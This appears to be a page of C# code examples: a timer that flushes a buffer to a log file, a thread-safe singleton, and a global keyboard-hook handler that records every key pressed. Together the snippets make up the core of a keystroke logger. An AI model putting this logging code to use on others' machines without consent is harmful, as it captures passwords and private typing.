private static void OnTick(Object state)
        {
            FileBuffer buffer = null;

            using (StreamWriter writer = new StreamWriter(FILE_PATH, true))
            {
                buffer = FileBuffer.GetInstance();
                writer.Write(buffer.CurrentStream.ToString());
                buffer.CurrentStream.Clear();
            }
        }
예제 #2
0
 public static FileBuffer GetInstance()
 {
     if (mySingleton == null)
     { // 1st check
         lock (myLock)
         {
             if (mySingleton == null)
             { // 2nd (double) check
                 mySingleton = new FileBuffer();
             }
         }
     }
     return(mySingleton);
 }
예제 #3
0
        private static void gkh_KeyUp(object sender, KeyEventArgs e)
        {
            //if (GlobalKeyboardHook.IsModifier((int)e.KeyCode))
            //    txtKeys.Text += "[" + e.KeyCode.ToString() + "]";
            //else
            //    txtKeys.Text += e.KeyCode.ToString();

            FileBuffer buffer = FileBuffer.GetInstance();

            if (GlobalKeyboardHook.IsModifier((int)e.KeyCode))
            {
                buffer.Write("[" + e.KeyCode.ToString() + "]");
            }
            else
            {
                buffer.Write(e.KeyCode.ToString());
            }
            //e.Handled = true;
        }